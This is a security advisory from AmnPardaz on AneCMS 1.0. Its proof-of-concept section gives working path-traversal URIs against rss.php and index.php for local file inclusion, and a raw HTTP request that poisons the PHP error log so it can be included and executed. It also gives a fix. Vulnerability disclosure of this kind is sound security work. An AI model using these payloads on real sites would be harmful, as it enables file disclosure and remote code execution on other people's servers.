##########################www.BugReport.ir######################################## 
#
#        AmnPardaz Security Research Team
#
# Title:=09=09AneCMS Multiple Vulnerabilities
# Vendor:=09=09http://anecms.com/ 
# Vulnerable Version:=091.0 (Latest version till now)
# Exploitation:=09=09Remote with a RAW HTTP packet sender
# Fix:=09=09=09N/A
###################################################################################

####################
- Description:
####################

AneCMS is a small and fast CMS completely modular. Written in PHP with  
JS(jQuery), Multilanguage, Skinnable
and has an online repository of modules accessible from the ACP of the  
CMS. Using MySQL as the backend DBMS.


####################
- Vulnerability:
####################

+--> Local File Inclusion (LFI)
=09The AneCMS try to locate local files for responding users according  
to GET parameters. There are 25 infected
=09files, but approximately whole of them are protected else of the  
'index.php' and 'rss.php' files. Check the
=09exploits section for the details.

+--> Remote Code Execution
=09With a RAW HTTP packet sender, you can send unescaped php code to  
AneCMS. Then this code can be executed using
=09the LFI vulnerability. Check the exploits section for the details.

####################
- Exploits/PoCs:
####################

+--> Exploiting The Local File Inclusion (LFI)
=09For the 'rss.php', you can select local file relative path from the  
'modules' directory using 'module' GET
=09parameter. For example following URI can be used for inspecting the  
'.htaccess' file:
=09http://target.com/rss.php?module=../.htaccess%00 
=09For the 'index.php', you can select local file relative path from the  
'system/ajax' directory using 'ajax' GET
=09parameter. For example following URI can be used for inspecting the  
'.htaccess' file:
=09http://target.com/index.php?ajax=../../.htaccess%00 

+--> Remote Code Execution
=09This attack should be done in two phases. First use the LFI to inject  
the desired php code in the web server
=09log file. Then use the LFI again to execute it.
=09For example if you want to run '' code,  
first send the following HTTP packet:
=09=09GET /rss.php?module=../%00 HTTP/1.0
=09=09Host: target.com
=09=09User-Agent: UA

=09This packet will inject the '' in the  
error logs. Then visit following URI:
=09http://target.com/rss.php?module=../the/path/to/logs/folder/logs/php_error.log%00 

=09Above URI will include the error log (including your injected code)  
and execute it.

####################
- Solution:
####################

Instead of generating the inclusion path by GET parameters directly,  
check the value of the parameter and
then include the valid hard-coded file path.

####################
- Original Advisory:
####################

http://www.bugreport.ir/index_71.htm 

####################
- Credit:
####################
AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
www.BugReport.ir 
www.AmnPardaz.com